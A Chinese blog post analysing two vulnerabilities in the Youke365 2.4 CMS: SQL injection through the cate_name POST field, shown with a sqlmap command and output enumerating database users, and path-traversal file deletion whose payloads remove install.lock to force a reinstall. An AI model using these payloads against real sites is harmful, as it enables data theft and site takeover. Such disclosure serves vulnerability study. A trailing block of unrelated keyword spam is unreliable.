千家信息网

Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的示例分析

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,这篇文章将为大家详细讲解有关Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的示例分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。P
千家信息网最后更新 2025年01月20日Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的示例分析

这篇文章将为大家详细讲解有关Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的示例分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。


Prat 0 自白

每一天都是新的一天。
没啥吐槽的,步入正题

/system/category.php 文件一处Sql注入## 80-87行代码

        $root_id = intval(trim($_POST['root_id']));        $cate_name = trim($_POST['cate_name']);        $cate_dir = trim($_POST['cate_dir']);        $cate_url = trim($_POST['cate_url']);        $cate_isbest = intval($_POST['cate_isbest']);        $cate_order = intval($_POST['cate_order']);        $cate_keywords = trim($_POST['cate_keywords']);        $cate_description = trim($_POST['cate_description']);

110-124行代码

if ($action == 'saveadd') {            $query = $DB->query("SELECT cate_id FROM $table WHERE root_id='$root_id' AND cate_name='$cate_name'");            if ($DB->num_rows($query)) {                msgbox('您所添加的分类已存在!');            }                $DB->insert($table, $data);                update_categories();                update_cache('categories');                $fileurl = empty($root_id) ? $fileurl .= '?act=add' : $fileurl .= '?act=add&root_id='.$root_id;                msgbox('分类添加成功!', $fileurl);        } elseif ($action == 'saveedit') {                $cate_id = intval($_POST['cate_id']);                $where = array('cate_id' => $cate_id);

首先我们需要直到,注意看$cate_name,从POST获取参数然后去掉空格。
然后$action获取到的参数为saveadd的时候先把$cate_name带入查询。
判断数据库是否存在这个名字,如果满足条件则进入msgbox('您所添加的分类已存在!');
没满足条件则添加。
注意第20行代码,我们可以肯定,他肯定是先通过一次sql语句进行查询。

漏洞利用



报错了,没有关系,我们开启mysql监测看一下是否有带入sql查询



SELECT cate_id FROM dir_categories WHERE root_id='1' AND cate_name='aaaa' and 1=1 --'



考虑到可能会因为时间过长导致cookie失效,所以建议直接使用--tech参数来指定一下注入类型。

sqlmap -r "/mnt/d/test.txt" -p cate_name --dbms=mysql --random-agent --tech B --users

结果:

Parameter: cate_name (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: root_id=1&cate_name=aaaa' AND 6067=6067 AND 'yrhI'='yrhI&cate_dir=aaaa&cate_url=aaaa&cate_keywords=aaaa&cate_description=aaa&cate_order=0&act=saveadd---[17:58:46] [INFO] testing MySQL[17:58:46] [INFO] confirming MySQL[17:58:46] [INFO] the back-end DBMS is MySQLweb server operating system: Windowsweb application technology: PHP 5.4.45, Apache 2.4.23back-end DBMS: MySQL >= 5.0.0[17:58:46] [INFO] fetching database users[17:58:46] [INFO] fetching number of database users[17:58:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[17:58:46] [INFO] retrieved: 3[17:59:28] [INFO] retrieved: 'root'@'localhost'[18:10:25] [INFO] retrieved: 'root'@'127.0.0.1'[18:22:37] [INFO] retrieved: 'root'@'::1'database management system users [3]: 'root'@'127.0.0.1' 'root'@'::1' 'root'@'localhost'

当然,在获取数据的时候也有可能会导致cookie失效,但是后台没有验证码。
当我们得知后台账号密码的情况下,完全可以造个轮子。
因为比较懒,就暂时不写poc了。

/system/database.php 文件一处任意文件删除可导致Cms重装

156-165行代码

if ($action == 'delete') {        $bakfile = trim($_GET['file']);        $filepath = $DBak->datadir.$bakfile;        if (unlink($filepath)) {                msgbox('文件删除成功!', $fileurl.'?act=restore');        } else {                msgbox('文件删除失败!');        }}



OK,我们继续看第158行

首先他从get获取file参数,然后在去掉两边的空格存入$bakfile

然后拼接文件地址,这里用了datadir,我们跟过去看一下。

        public function __construct($db_host, $db_user, $db_pass, $db_name, $charset = 'utf8') {                                $this->connect($db_host, $db_user, $db_pass, $db_name, $charset);//连接数据                $this->datadir = ROOT_PATH.'data/dbbak/';        }



文件成功删除,可能有小伙伴会问了,这没达到任意文件删除的目的。

这只是删除掉了指定目录的任意文件。

所以,我们需要删除掉其他目录的文件。

利用../往上跳目录,例如我想删除根目录的文件就需要跳两次

payload: system/database.php?act=delete&file=../../a.txt



OK,可能会有小伙伴会觉得任意文件删除没有啥意义。

接下来我们继续看。

install/install.php

17-19行代码

//判断是否已经安装过if (file_exists(ROOT_PATH.'data/install.lock')) {        failure('你已经安装过本系统!
如果还继续安装,请先删除data/install.lock,再继续');}

首先在cms重装前,会判断是否有data/install.lock文件,如果有则不进去后面的代码。
没有则开始进行重装。
那么我们只需要删除掉data/install就好了

payload : system/database.php?act=delete&file=../../data/install.lock



就可以达到重装。

因为重装会导致站点会瘫痪,所以不建议各位重装,以及删除任何文件。

关于Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除的示例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文件 代码 参数 漏洞 成功 数据 目录 分类 查询 示例 分析 内容 后台 小伙 小伙伴 建议 文章 时候 更多 条件 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 大连铭科网络技术有限公司朝阳 辽宁新一代软件开发服务品质保障 公安网络安全管理是干什么 蔚来软件开发专家 mc 1.17.1服务器 我的世界加入服务器 网络安全管理制度统一管理 我国国家网络安全现状 江宁区智能化软件开发创新服务 服务器末端防护安装方式 蜗牛星际无损服务器电源 葫芦兄弟软件开发 华为服务器raid驱动更新 网络安全审查大概多久 数据库汽车销售管理系统代码 数据库表创建在哪个阶段 30多台电脑组建局域网服务器 2013中标达梦数据库 中标 江阴专业软件开发联系人 服务器如何挂载存储 数据库给表名取别名 ipsec网络安全教程 无锡参考软件开发定制价格 网络技术员职责 吴中区推广网络技术哪家好 arcgis表转出至地理数据库 华为服务器raid驱动更新 美国专利数据库的检索方式 内蒙古通信软件开发五星服务 单招计算机网络技术面试
0